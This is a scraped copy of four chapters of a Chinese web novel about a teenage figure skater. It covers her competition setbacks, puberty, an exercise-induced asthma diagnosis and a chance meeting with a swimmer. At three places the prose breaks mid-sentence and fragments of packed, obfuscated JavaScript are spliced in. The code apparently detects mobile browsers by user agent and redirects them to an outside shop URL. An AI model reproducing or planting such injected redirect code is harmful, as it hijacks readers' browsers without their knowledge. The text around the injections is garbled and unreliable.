《鱼在岸上呼吸》 1. Ch.1 “就算是马车,也会有变回南瓜的那一刻。” --“不过只要你有梦想,一切可能都会成真。” /钟茉 2025.2.7 /晋江文学城首发 十月份去波兰还能赶得上最后一场落叶,一簇簇火红色和金黄色堆叠在一起就好像快要把这座城市燃烧殆尽。 本赛季钟梧攸的自由滑选曲是《歌剧魅影》,开赛季前她和编舞老师提到这赛季她想要做一些打破常规的表演,最后和编舞老师一拍即合定下了这套经典曲目,决定反串魅影这一角色。细腻的艺术表现力一向是钟梧攸的长处,她是对选曲有自己独到理解并能加以做出进一步诠释的那类选手,想要塑造出一个克制爱意的自卑暗恋者,传达出魅影扭曲畸形的浓烈爱意。 “Turn your thoughts away from cold unfeeling light.” 历经这赛季第一站比赛堪称惨烈的结果过后,钟梧攸和教练进行了商量,决定对节目的配置进行更改,重新协调了节目后半段的跳跃和难度。 这是这赛季国际赛的第二站,可惜她的情况并没有因协调难度配置而得到好转。 原本要接连跳的地方没有接上,最拿手的后内结环跳空了,2A也失误了。 这一场的惨烈状况就如同车祸现场一般。 当《All I Ask Of You》的高潮响起,燕式滑行起势,最后做了一个躬身旋转。表演结束,钟梧攸将双手伸展开,她想,这还是史无前例的第一次。 第一次在比赛结束之后感受到整个躯体宛若被碾碎一般,心脏狂跳不止,一种刺骨的寒意从胸腔过渡迅速蔓延至四肢百骸。 整个人如坠冰窟。 这次的考斯滕是半露背的设计,钟梧攸惊觉自己后背绷出了一身细密的冷汗。谢幕下场之后她屈身摸了摸后背,没有刺绣和水钻那样刺手的触感,而是摸到了柔软的棉麻质地。 T恤的后面湿了大半,还好只是梦而已。 钟梧攸起身去换了一件衬衫,走去冰箱勺了一大勺冰加到杯子里,一连灌几大口下肚,才总算是把心跳平复到了正常的频率。 沈望舒从她背后突袭,夺走了她手里的那杯冰水。钟梧攸早就习惯了发小的这一套,笑着由着她去,走进卧室想要去收拾冰鞋和训练服。 “你行李收拾好没?” 钟梧攸很显然没意识到沈望舒在说的是哪门子行李,停下找冰刀套的动作,满脸的不解回望过去,“什么行李?” “当然是去深圳的行李啊,不是说好了这届全运会就开在家门口,我们要去凑热闹。” “你来真的啊?”钟梧攸起先以为沈望舒只是说着玩玩,这件事她在此之前只和自己说了一次,还是在自己下训之后全身心都在回味失误频发的三周跳的时候说的。因此钟梧攸并没上心,以为沈望舒只是随口说着玩玩而已。 “真的啊,我票都买好了。” 沈望舒把手机屏幕推到她面前,展示出购票系统的页面。 “婆婆也答应了我的,你要陪我去嘛。” 原本在阳台给花浇水的何曼颐走了出来,“对啊,走走散散心也好,Tara不是也建议你这么做吗?” 钟梧攸眼眶不由得一热,瞬间明白这哪只是沈望舒想拉个人陪自己看比赛,不过是教练和外婆还有她见自己比赛过后状态低迷想出来让自己去散心的法子而已。 留给钟梧攸收拾行李的时间并不多,于是她只匆匆捡了两套日常穿的衣服丢进行李箱里就同沈望舒出了门。 她的睡眠质量一直不高,加上昨晚那个梦做的她觉得自己一度游离在现实和睡梦的中间,根本没睡多少,于是一上高铁她就开始阖眼休息。 比赛从晚上开始,钟梧攸被带到场馆前才知道她们要看的项目是游泳。 “我想先去喝杯咖啡。”钟梧攸揉了揉还在发酸想流眼泪的眼睛,整个人的精神头并不足。 体育馆旁边只有一家即买即走的咖啡店,此时人满为患,门口前围了一堆交换手幅和物料的粉丝。钟梧攸在角落缩着,她一直都知道为了支持选手粉丝间会有这个活动,不过这样的热闹她还是头一回见,想来她们糊滑毕竟也不是什么大众项目。钟梧攸靠在墙边,一脸好奇地盯着她们。 有一个小姐姐似是注意到了她的视线,频频抬头多打量了她几眼,钟梧攸暗想自己是不是被人认出了脸,刚想伸手去帆布袋里摸出口罩带上,那个小姐姐就已经走到了她的跟前。 等会,那个牛皮纸制的纸袋是什么时候被放到自己掌心上的。 钟梧攸整个人一下陷入了茫然和懵圈的状态。 “都是同担,伸手物料姐妹不用不好意思开口要呀。” “啊?那个我...”钟梧攸这才意识到是因为自己方才的目光过于炽热,对方把自己错认成了同担。她正想开口解释说自己只是个门外汉觉得新鲜才多看了两眼,对方却已经走远,走之前还在自己手里塞了一把大王扇。 这是叫大王扇来着吧,记得之前有冰迷还和她介绍过。 一面是一张清秀的面孔,钟梧攸一下只能浮现出“天然”二字,将扇子翻转过来,映入眼帘的是一张粉面玉琢的嘟嘟小脸。 有些过于奶萌了,就是不知道这是哪个选手? 手机发来信息提示说自己的咖啡已经做好了,钟梧攸只得先一股脑地先把这些都塞进帆布袋里。 干完一杯美式后钟梧攸才觉得自己的精神能算是回过笼来了。 场馆和室外的气温通常两极分化,她们两个人在出酒店前颇有先见之明地带了件外套。事实证明她们确实很明智,游泳馆的冷气实在太足了,完全堪比香港的室内空调。 两人找定位置落座,钟梧攸朝周围环视了一圈,拽了一把沈望舒的袖口,沈望舒将侧脸凑到她耳边。 “你真是随便买的位置?” 沈望舒一脸茫然,不解她为何突然这样问,“随便买的啊,觉得这个区还不错。” 那可太不错了,都开到个别省队边上了。 钟梧攸出门是随便抓的衣服,常年泡在训练馆里她的衣服都以运动装为主,随手抓的一件外套她还是不久前从土耳其比赛回来才洗净的那套,背后还印有红色“team china”的字样。 她现在看着也像省队里的,只不过泳队大概不会有她这样身量的选手。 “小姐姐,你是哪个省队的运动员啊?” 不是吧,钟梧攸心里犯了嘀咕,居然还真有人会这么问。 她侧过头笑了笑,“我不是这个项目的。”视线从对方胸前的北京二字很快地移回了泳池边上。 沈望舒在她的手机面上敲了敲,示意她看手机。 沈望舒给自己连发了好几条,“你说要不要和后面的运动员要个合影啊。” “要是他们日后游出成绩了” “那我就是” 钟梧攸飞快打字接上她的那句话,“那你就是原始股了哈” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531650|203705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >场馆信息不好,这条信息刚发出几秒,沈望舒不过只扫了一眼,就已经转过身去,“你好,可以和你们合影吗?” 钟梧攸抿嘴憋笑,低头扶额,她永远佩服沈望舒的e值。 “欸,我朋友也一起来吧。” 钟梧攸强行转过半个身子,没忍住肘击沈望舒,碍于彼此之间还是太过于了解了,沈望舒轻而易举地躲过,还颇为得意地朝她笑了。 “来吧。”钟梧攸很显然拒绝无效,沈望舒询问的运动员恰好就是刚刚问自己是哪个省队的运动员。 “三个人啊,那我找个人掌镜。” “兄弟,帮个忙。” 钟梧攸这才注意到沈望舒求合照的运动员旁边还坐着一位运动员。 如果说这位的性格看着就活泼开朗,那身边这位就显得要温煦些。 他穿着同个色系的北京队队服,带了口罩。只有一双眼睛露了出来。眼尾上翘,有一颗泪痣,那是一双很标致的桃花眼。钟梧攸顿时生出了一种莫名的熟悉感。 “好。”那人举起手机,给他们三人拍了一张。 “你也来和我们拍一张吧。” 于是三人合照变成了四人合照,由沈望舒掌镜。 钟梧攸在拍完那一瞬后点头笑了笑就转过身去。 这是400米混合泳的比赛。 赛场像是一个被加了催泪剂的地方,是一个巨大的情绪感坩埚。运动员跟着播报入场,随之而来的是泳迷们和队友们此起彼伏的加油声。 同为运动员,钟梧攸太懂这样的时刻。 赛场像是能把人扒光的一道审视,所有的努力、天赋、意志力都会被审判,这是一个人一群人的生命投射,结果会撞击人的内心,梦想成真或是碎裂崩塌。 获得冠军的是一位耳熟能详的老将。 钟梧攸的情绪在这个坩埚里得到催化,她感觉整个人仿佛置身在一颗巨大的洋葱里,观众席的喧嚣在她耳中渐渐化为一阵嗡鸣,她有了想要掉眼泪的冲动。意识到眼泪正在夺眶而出时她迅速收拾好情绪,意识回笼过来后耳边最先听到的是来自她背后极有力道和节奏的掌声,和一句“你也可以的。” 钟梧攸转身抬起头。 刚刚那个人已经摘下了口罩,露出一张样貌清秀的脸。 那是一种水行气质,如静水一般清越。 他很轻地开口,钟梧攸却听得清楚,“站上最高领奖台,我们都可以的。” 人的瞳孔能蕴含很多东西。他只是静静坐在那里鼓掌,钟梧攸却捕捉到了他眼里的野心。他表面的气质很温润,欲望化在他眼里不是一团火焰,而是一道光。 他的野心,极致、明确。 沈望舒和她都没有等颁奖仪式结束之后再走,很早就回到了酒店。 想起自己今天还没有练柔韧,钟梧攸回到酒店的第一件事就是在窗前的一块空地上拉伸,沈望舒先拿衣服去浴室洗澡。 钟梧攸靠着墙边劈了一个一字马,俯下身贴着地面,刚好看到刚刚被自己随意丢放在地上的帆布袋拉链没拉到尽头,里面的牛皮纸袋露出来了一角。钟梧攸保持着一字马的姿势不变,伸手去够那个袋子。她拉扯的动作让拉链口又敞开了一些,那把大王扇从中掉落。 钟梧攸终于明白为什么今晚在场馆看到那个人会生出熟悉感,这和大王扇上的可不就是一个人吗?她拿出手机浏览器,按下搜索栏的拍照功能对着扇子的拍了一张。 呈现出来的识别结果是:何知澍中国男子游泳运动员。 2. Ch.2 钟梧攸和花样滑冰结缘在她四岁那年。 2014年的索契冬奥会。 因为父母是驻外记者的缘故,钟梧攸在上小学的年纪之前一直跟着父母在俄罗斯生活。这是一个拥有悠久历史和深厚群众基础的花滑大国,花样滑冰这个项目继承了前苏联的辉煌传统,女子单人滑引领世界,将高难度跳跃与艺术表现力结合到极致。 那个时候只有4岁的钟梧攸跟着工作的母亲来到了索契冬奥会花样滑冰女子单人滑短节目的比赛现场。 一袭黄裙的漂亮女子滑到冰场中央,开场低头垂手那一刻小丑的孤寂情绪就瞬间笼罩了全场。 选曲悱恻缠绵,她却滑出了大气悠然的感觉。 联合旋转、垂眸抬手,最后的拥抱仿佛用尽了她最后一丝力气。小丑思绪纷乱迷茫挣扎,嘴角颤抖,混着泪光向观众投去一个似哭似笑的复杂眼神。 “Losing my timing this late in my career.” 那时钟梧攸还未进行过系统的专业训练,顶多是周末父母有时间的时候会带她去离家近的商业冰场玩乐,她自然无法拥有什么专业的赏析角度,只有惊讶感叹,也只能反复念叨出几句“这太厉害”,“这太美了”诸如此类的简单赞美。 曲终谢幕,全场爆发出海啸般的声浪,钟梧攸甚至意识不到自己究竟是在什么时候站了起来跟随大家一起鼓掌欢呼。大概是太过于震撼,出自身体的本能反应,她环顾四周见大家闪着泪光,激动难以自持,一种大概可以称之为“感动”的感觉剧烈地撞击在她的胸腔。 母亲紧了紧她脖颈上有些松散的围巾,“攸攸,你想学滑冰吗?” 她说好。 俄罗斯眩目的花滑成果离不开其冠军工厂的培养模式,同时这种艺术文化也融进了俄罗斯的血骨里,这里的花滑氛围很好。钟梧攸的第一个训练地点是位于圣彼得堡的一个儿童俱乐部,最初是一周三次课。驻外记者的工作很忙,父母没什么时间照顾她的生活起居,于是到了后面无论有没有课,下午到晚上她都会呆在训练馆里。 钟梧攸在圣彼得堡接受了一年多时间的训练后已经到了要上小学的年纪了。父母的工作性质意味着他们会一直持续外派,接下来也不知道会去到哪个国家。跟着父母的话,学习环境终究是不能保证稳定的,最后在全家人的商讨之下,钟梧攸将搬去香港接受教育和外婆一起生活。 她的训练地点也从圣彼得堡换到了香港。接手她的教练是意大利的退役选手Tara,是她命定的贵人,也是陪伴了她的整个青年组的教练。 钟梧攸有时候觉得自己是一个幸运儿,到了13岁可以参加青年组比赛时碰上俄罗斯被禁赛,避开了卷四周和三周半的还没有经历发育关的俄罗斯女单选手,她的难度储备才能具备起一定的竞争力。 13岁的那一年她拿到了两个国际赛名额,第一站JPG在日本。 她已经有了五种三周跳和高级33的难度储备,就是勾手跳极度不稳定,这赛季在国内的几场比赛都上了勾手跳,刃都是错的。直到日本站自由滑当天,六练时还在错刃,正赛却宛如一下开了窍一般,凭借自由滑的优势她拿下了日本分站赛的第四名。 国内的梯度建设青黄不接,女单升组又是一道不可逾越的魔咒,每个赛季升组之后迅速沉湖的选手并不在少数。在此等情况下每一个在比赛中冒尖的选手都会受到协会、媒体和公众的重点关注。 一个月后的波兰分站赛开始之前,国内的媒体提及钟梧攸的姓名总会带上“紫微星”或是“青年组天才少女”这样的字眼。钟梧攸那个时候还没有用上微博这样的社交媒体,她的生活只围绕学校和训练场两点一线展开,智能手机在她那的作用几乎等同于一个老人机,她只用来电话联系家人或是听听歌。短短一个月网络上已经展开了好几场对她的讨论,年幼时在俄罗斯生活训练的录像和照片也被扒出传到了网上,不过钟梧攸对此一概不知就是了。 日本站上意想不到的好结果极大地增强了她的自信心,勾手跳已经练到了还算是听话的程度,也让她定下了更高的目标。 Tara说,一个运动员只要有信心,又能刻苦训练,就会尝到良性循环带来的甜头。 波兰站,场馆里弥漫着独属于竞技场的紧绷的气息,青年组选手的选曲大多会从知名的动画电影或是童话背景里选。 本赛季她的短节目选曲来自百老汇音乐剧版的《小美人鱼》,自由滑则是芭蕾舞剧《胡桃夹子》。 所有跳跃稳定落冰,短节目clean了,看到短节目的分数排名第二,钟梧攸的心里一阵恍惚,Tara比她自己都要激动得多。 次日自由滑正赛开始前的六分钟热身她滑过挡板前脱外套时能听到几声零零星星的中文,是“加油”。她仰头深吸了一口气,望向穹顶的灯光落在冰面上形成的冷辉。 因为短节目排名第二,自由滑钟梧攸在倒数第二位上场。 “像平时训练一样就好。” Tara和她隔着一道挡板,手搭在她的肩膀上。 和弦改编过的序曲响起,克拉拉开始了她在圣诞夜的奇幻冒险,紧接着是老鼠国向胡桃夹子发起了猛烈的进攻,编排了密集的接续步和连跳,从日本站就没失误的勾手跳在这里掉了一个链子,后面要接的连跳没能接上。《花之圆舞曲》再现,打击乐器将节目推向高潮,庆典即将开始。补救的念头一闪而过,她乘机补了一个连跳。 她听不见看台的欢呼和掌声,将所有的注意力都倾注进联合旋转里。蹲踞、躬身转、提刀、贝尔曼,音乐定格的那瞬间她定住伸开双臂抬头。 胸腔剧烈地起伏,大屏刚好在拍她弯腰谢幕的瞬间,钟梧攸抬眸转身对上了大屏幕上她的眼睛。 眼中有水光,但更像是经历了一场烈火燃过,剩下了澄澈的坚定。 直到钟梧攸坐在“Kiss and cry corner”上,Tara紧握着她的手,发觉腿一直在抖,钟梧攸才发觉因为后怕和疲惫袭来自己的双腿开始发软。自由滑分数出来的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531651|203705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候她愣住了,TES因为勾手跳摔倒受到了影响,她后面补了连跳,今天的goe还算不错影响还算小。但PCS刷新了她的个人最佳。 总分暂列第一,后面还有一位有超c难度储备的韩国选手。 总成绩是够一块奖牌了,这也意味着她能够拿到总决赛的入场券。 最终的结果在意料之内,她当然打不过上双3A的成熙慧。 颈间还挂着奖牌的分量,她没来得及摘下就被几个记者围住。 “参加了两站A级国际赛,结果符合你的预期吗?” “总决赛上你将遇到拥有四周跳储备的美国选手Felicia以及今天的冠军成熙慧,阿克塞尔三周跳和四周跳在你后续的训练计划内吗?” “为了取得总决赛的好成绩,接下来你会怎样做准备呢?” 镁光灯闪着的白光很刺眼,钟梧攸第一次应付这样的场面,只觉得有一种让人眩晕的压迫感。她下意识握紧拳头,将指甲抠在掌心的软肉上,定住神回答问题,“两站的结果还有许多要总结的地方,能拿到总决赛名额也是对我自己这么久以来努力的肯定,我会继续加油的。” “那么关于难度储备呢?接下来的重心是否会放到四周跳和三周半上?”记者对这个问题穷追不舍,同时这也是行业内最关心的问题,俄罗斯还在禁赛,国内女单的困境一直卡在没有稳定的高级三三,以及三周半和四周跳储备这些硬货上,这就意味着想要挤入一线行列还有一大截距离。钟梧攸自己心里也很清楚,目前的亮眼只是建立在别人还在禁赛和她目前的稳定性的基础上。还有几年就要升组,她将面对更多实力强硬的对手,局面只会比现在更恶劣,更别提她的发育关还没开始。 这个问题Tara和她分析过无数次。 “高难度跳跃一直是女单的趋势,也是我未来必须面对的挑战。”钟梧攸选择了更为稳妥的回答,“我和教练会根据我的身体情况循序渐进的,目前还是专注于巩固,确保现有的跳跃质量。” 十二月,总决赛。短节目滑的很紧,虽然没出什么大问题,但到了自由滑上场那一天突然就觉得整个腿都是软绵无力的,那个时候钟梧攸就暗暗觉得不好。 她的总决赛之旅在一片手忙脚乱中结束了,像是一场光怪陆离的破碎噩梦,最后排名第六。 最拿手的后内结环三周跳跳空,勾手跳扶冰,甚至两周半跳都没有足周,滑表也是惨不忍睹。后半段节目并没有顶住前半段失误带来的心态影响,节奏打乱信心崩塌,几乎是靠着肌肉记忆滑完的。 总决赛的冠军是Felicia,今年十六岁,已经蝉联了两届总决赛的冠军,下赛季她就要升组了吧,她的四周跳已经趋于稳定了。成熙慧这次三周半跳虽落冰有失误,但还是凭借着质量高的连跳站上了领奖台。 在场边观礼的钟梧攸沾上了些许聚焦在领奖台上的光,她们之间隔的不只是名次,还有她欠缺的大赛经验、不够高质量的跳跃、糟糕的心态。 下赛季她要尽最大的努力追赶上才行。 3. Ch.3 总决赛结束后的两个月就是十四冬,十四冬再过一个月就是冬青奥和世青赛。 钟梧攸想,她的职业生涯确实已经足够幸运了,新的一年她练出了4s,即使成功率只有一半不到,还不能使用在正赛上,但下个赛季的成绩和状态也略有些起色。 钟梧攸想,她其实也算不上太幸运,比如因为通行证的问题缺席了这赛季的世青赛,又因为年龄刚好卡在了青奥的限制上,刚好错过了一生只有一次的青奥会。 十四冬在内蒙,赛前的公开训练她是最慢下去的那一个,站在冰场前的挡板边上任由呼出的白气模糊住自己眼前视线。 她要站上一切能站的台子。 香港一过立秋天气总是阴一阵雨一阵的,同时这也意味着新赛季要开始了。赛场和时间从不会等人,情绪也不会帮她把4s的落冰成功率从四成拉到七成。 新赛季的八月,在被称作北方巴黎的拉脱维亚,钟梧攸迎来了第一站A级赛事。北方巴黎名不虚传,这里的夏天是彩色的,气温很舒适。 作为本赛季的首站,她取得了总分181.31的成绩,获得了一枚铜牌。 两个月后的无锡站,她以190.11的成绩再次站上了领奖台,只是仍是季军,但是再次获得了进入总决赛资格。 这一年的总决赛在法国巴黎。 只是十二月初,巴黎街道已经布置上了很多亮闪闪的灯和彩带,添了几分圣诞的氛围。 落地第一晚她就在酒店房间铺了瑜伽垫,对着窗玻璃练陆上跳跃和柔韧性。从酒店窗台望出去,钟梧攸还能看到埃菲尔铁塔的尖顶。 法国吗?国际滑联修改了上冬奥会的年龄限制,后年的米兰冬奥会她16岁无法参加,就是不知道20岁的时候,她还是否还在冰场上,是否还能再来到法国。 短节目抽签抽到第三组第一个。候场时她垂着头,看着前面组别的分数。 潮汐拍岸又退潮。 不能再像上赛季这样了。 这赛季短节目的选曲是她一直很喜欢的提琴曲,埃尔加的《爱的礼赞》。 曲子进入B段转入G大调,经过了带有泛音的过门。 勾手三周,这是她的第一个单跳。 滑出站定,这个跳跃略有瑕疵,周数一定会被狠狠抓。提琴曲变奏,主题再现,钟梧攸压下顾虑,把剩下的跳跃和步法旋转一个一个做完。 短节目得分66.12 暂列第四。 次日的自由滑是她自认为本赛季发挥最好的一次。 收住最后一个联合旋转,整个人有些微微喘着,钟梧攸滑过冰场四周向大家招手致意,下场套上冰刀套时她注视着冰面上深深浅浅的痕。 到了二十岁的时候,她还能站在这里吗? 她不确定未来。但她得走好当下的每一刻。 自由滑122.67分,总成绩188.79,第四名。 还不错的成绩。 钟梧攸背着包提着行李箱终于挣脱了从混采区递来的几只话筒,在她加快步伐的同时听到了身后一直有个气喘吁吁的声音似乎是在叫她。 “Wait!” 钟梧攸拉住Tara的手,停下脚步回头。 走廊的灯坏了一盏,往回看过道是明明灭灭的,叫住她的人是成熙慧。今天她拿了银牌,还穿着没来得及换下的队服外套,拉链只拉到一半露出了里面的考斯滕。 她这赛季的自由滑选曲是《罗密欧与朱丽叶》,裙子是暗粉色,远看过去就像是中世纪油画里的一朵玫瑰。 英语混着韩语的口音,钟梧攸要很专注才能听懂她说的每一个词。 “Your consecutive jumps,very beautiful!” 钟梧攸攥着行李箱拉杆的手指松了松。“Thank you.” 成熙慧从口袋里掏出手机,点开手机相册的一张图递到她面前,那是从备忘录里截下的一张图。 “I really loved your two programs last season. You skated in your own style and touched my heart.” 钟梧攸刚想说谢谢,成熙慧却指了指自己又指了指手机摄像头,缓缓蹦出一句不太连贯的英文,“May I take a photo of you?” “Of course.” 钟梧攸请站在一旁的Tara帮忙拍了张照。照片拍完后成熙慧转身跑了,队服外套下的考斯滕裙摆在身后扬起来,像是朵在风中摇曳的玫瑰花。钟梧攸还站在原地,行李箱拉杆被攥得太紧了,让她的掌心有点疼。 钟梧攸看着手机里互传过来的那张合照,照片里两个人对着身后的总决赛背景板,巴黎的字样印在一角,还闪着暗金色的光。 二十岁的时候她们还能在这里吗? 走廊那盏坏掉的灯又闪了一下,成熙慧突然回头,“See you!See you at the nextpetition!” 下个赛场见。 二月的匈牙利符合了钟梧攸基于文学作品里对欧洲冬天的一切幻想。 强降雪,阴霾天。 自由滑六练上场之前她在后台跑步热身,把圣桑那首《天鹅》点开。 大提琴低低地漫过来,像潮水一般。 出于这赛季的世青赛选在匈牙利的缘故,她私心选择了《伊丽莎白》作为本赛季的节目之一。 她终于带着《伊丽莎白》来到了匈牙利。 第一个音符落下时,钟梧攸想起她在茜茜公主传记里看过的那张肖像画。画中人长发及腰,侧着脸,腰封束得极紧。 她今天穿的是白色考斯滕,下摆缀满银线刺绣和钻石星,佩戴星星发饰,仿的是著名的“茜茜之星”那张画像上的装扮。 这个赛季末她的4S成功率已经接近一半,她还是想搏一搏。 起跳的瞬间她知道不对,刃偏了至少半度,冰面传来的阻力比平时更涩,落冰时膝盖沉下去,手扶冰摔倒。 曲目的B主题转入。这个菲利普三周后应该接上一个后外点冰三周跳,但菲利普三周落冰的那一瞬冰刀像是被卡住了,整个人起跳的姿势被生生顿了一下,没能接上连跳。 她踉跄了半步,音乐正好行进到茜茜质问死神的段落,一直到编排步法她都没能找到机会补这个连跳。 赛后她才知道四周被判定为降组,和后面的跳跃重了被判了扣分。 总成绩第九。 这次国内媒体不再将重点放在她的排名上,而是放在了她在国际赛尝试的四周跳上。 “她才15岁,以后有的是机会。” “国内可好不容易出个敢跳四周的女单。” 窗外多瑙河灰蒙蒙的,雪还在落。 捧杀和看好的言论一波又一波,大家在展望她会有美好的未来。 钟梧攸起先也是这样以为的,但是这样充满期待的日子并没有持续多久。 下半段休赛季,她真正意义上的发育关开始了。 原先跳跃转速快,姑且还能弥补高度低带来的问题,发育长高变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531652|203705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重之后她的跳跃开始发沉。 她第一次觉得冰场实在是太大了。 她好不容易把四周跳的成功率拉到了一半,现在是彻底丢了,高级三三也快丢了。 发育带来的副作用势如破竹,一时之间难以遏制,两个月后冠军赛就要开始了。 起跳时蹬冰就能感觉的到力量比从前弱了不少。就连原先做最拿手的一个三周套都不能保证高度,落地时膝盖弯得太深,几乎要蹲下去。上两周摔的青紫的脚踝,现在已经褪成了淡黄色。 身高在一厘米一厘米地长,体重秤上的数字她是不再看了。 毫无头绪的钟梧攸开始疯狂节食。 开赛季的第一场是国内的青年组冠军赛,短节目抽签抽到最后一组。 这赛季她连曲目都没有换,想省一些磨合新曲子的时间用于打磨跳跃。 自由滑她放进了一个高级三三。跳成了,就是落冰时重心晃了一下没摔,至少周数是够了。 但那是她全场唯一一个clean的跳跃。 整张表的大小符号都在开会。 裁判有意抬高她的P分,最终第三名。 赛后的混采区有记者问到:“这赛季状态是不是有起伏?” “嗯,还在调整。” 记者又问道,“发育关是不是影响很大?” 钟梧攸顿了一下,“是的。” 是的,很大。 但是时间向来不等人,更别提这个月月底她还有一站分站赛。 八月底的土耳其,体育馆外的野花开了一大片,五颜六色。 开赛前她侥幸每一个三周都成了。到了正赛连跳落冰时膝盖却软了一下,手扶冰。 短节目得分51.33,第七名。 自由滑依旧延续冠军赛一样大小符号开会,但国际赛的P分不会松手。 这站并没有什么实力强的选手,她总分只排到了第十。 飞机落地时香港落了雨,大厅玻璃门上全是雾。她拖着行李箱往外走,托特包压在拉杆箱上,一路上走得磕磕绊绊。 她不能停下。 但发育关带来的影响还没有好转,节食减重也毫无作用,还在发育的人已经整整瘦了十多斤,身高却还在抽条。 钟梧攸快要绝望了。 更绝望的是,在这个时候她确诊了运动型哮喘。 训练后胸闷咳嗽和呼吸困难的情况太不正常了,接到确诊病历的时候钟梧攸看着上面的一行字久久不能回过神来。 Tara和她说,歇两天吧,继续这样紧绷下去训练的话,训练的意义并不大。 她滑出勾手两周跳,做完一套定级步法,整个人顺势倒下,差点就想一直瘫在冰面上不起来。 下场时她套上冰刀套,掏出手机,然后锁上了储物柜的柜门。 Tara说得很对,这样训练下去毫无意义。 她点开Tara发来的昨天的训练录像视频,训练录像是查漏补缺的手段,可她现在在四面漏风还没有房顶的屋子里,根本无从下手。 最可怕的是视频末尾,她看到了自己的眼睛。 她将手机黑屏放进兜里。 黑色的手机屏幕映出她的脸,钟梧攸闭上眼,她不敢再去看她的眼睛。 不再神采奕奕,将原本的信念感取而代之的是后怕。 她很久没有再看到一双有神有光的眼睛了。 直到在一天后的体育馆,她对上了那个少年的眼睛。 她不知道自己那双眼睛什么时候才能重新亮起来。 但她知道,自己目前还没打算离开冰场。 4. Ch.4 冰刃滑过冰面的凛冽声停了,冰面上只有钟梧攸一个人,一时之间偌大的场馆就只剩下她自己粗重的喘息声。 不过只做了一套合乐训练外加三个跳跃,心脏却像是被攥住了一般。钟梧攸用手撑着膝盖整个人屈着,试图让呼吸回到平稳状态。 一分钟、两分钟,还是无效,她就想直起身顺口气,咽喉却像被人用手紧紧掐住,整个人难以呼出一口气。 她开始剧烈地咳嗽,胸口上像被压了一块冰,又冷又沉。 “感觉怎么样?”站在挡板一边的Tara皱起了眉头,想上前扶住她。 钟梧攸滑过来摆了摆手,一句没事刚想送到嘴边,又引发了一阵剧烈的咳嗽,整个人脱力到靠着挡板弯下腰,只能用双手紧紧地抓住挡板撑着来稳住自己不会倒下,指节因为用力过度而充血发红。 钟梧攸觉得气管好像随着自己的一呼一吸越变越狭窄,紧接着是头开始发昏,眼前一阵发白。 背后开始冒冷汗,钟梧攸开始担忧,她的职业生涯是不是上坡路还没走到就又要开始走下坡路了。 这样下去她可能永远都够不到台子,永远不能往上加难度,永远提升不了质量。 拿到病例诊断的那一天开始,“运动型哮喘”一词反复出现在她浏览器搜索引擎的版头,脚上和心间都被吊上了一块沉重的铅石。 她能否撑得住一个自由滑? 再加难度的跳跃无疑会成为奢望,她还能站上领奖台吗? 她今年15岁,还有两年的时间就要升组了。这个年纪应当正当最好时才对,改规则和禁赛出来之前这个年纪的俄罗斯女单已经开始卷四周上难度拿牌子,现在和她同龄的美日韩选手的状态也势如破竹,而她呢? 半晌过去钟梧攸终于缓过口气,慢慢直起身,接过Tara手里的运动冲剂喝下。 第二站分站赛开始之前,她和Tara去了趟北京。几个月前的冠军赛,Tara留意了个别俱乐部的医疗团队,梧攸目前跟着她训练,编舞考斯滕都需要她们额外花心力找老师沟通,她也没能得到良好的医疗保障。 医疗团队对于一个运动员而言至关重要,拥有科学的方式去规划训练先不提是否可以延长运动员的职业寿命,但最重要的是至少可以减少伤病对身体造成的伤害。 钟梧攸在发育关一到来时就开始减重,目前跳跃还是低空,或许增重发展成力量型选手才是长久之计。且得了运动型哮喘没有医疗团队制定科学的计划已是不利,甚至也没有可以托底的俱乐部。 换一个人会和钟梧攸说,就此离开竞技场吧。但Tara见过她在赛场的样子,见过她训练到深夜最后一个人离开的背影,也知道在梧攸心里她还没有滑到自己可以滑到的最远的地方。 她曾经也是运动员。 她现在作为教练,直观感受梧攸其实还能再滑久一点的。 Tara还没和她开口,但是心里已经有了数,她们或许是应该分道扬镳了。 Tara将尚星俱乐部教练递给自己的纸叠好放进口袋,钟梧攸刚结束一轮训练,指尖应该是因为方才没带手套被冻的有些红。 第二天晚上才飞香港,钟梧攸带Tara逛了半天胡同,下午她说想去雍和宫求个签。 听说雍和宫灵得好笑。 钟梧攸站在昭泰门的甬道上,注视着斜前方被烟雾缭绕的殿堂。冬日下午的阳光斜斜地打了她半边身子,再往前看升腾的青烟被阳光染上金色,空气里弥漫着她闻不惯的檀香和香火气。 听了网上的段子之后就很想来雍和宫拜拜,但当钟梧攸真的拿着一扎香站到神佛面前时她忽然不知道自己应该求什么。 她只能跟着人流往大殿里面走,阳光晃得她得眯起眼睛去欣赏屋檐的精巧设计。 “愿父母外婆身体安康工作顺利” “Tara心想事成” 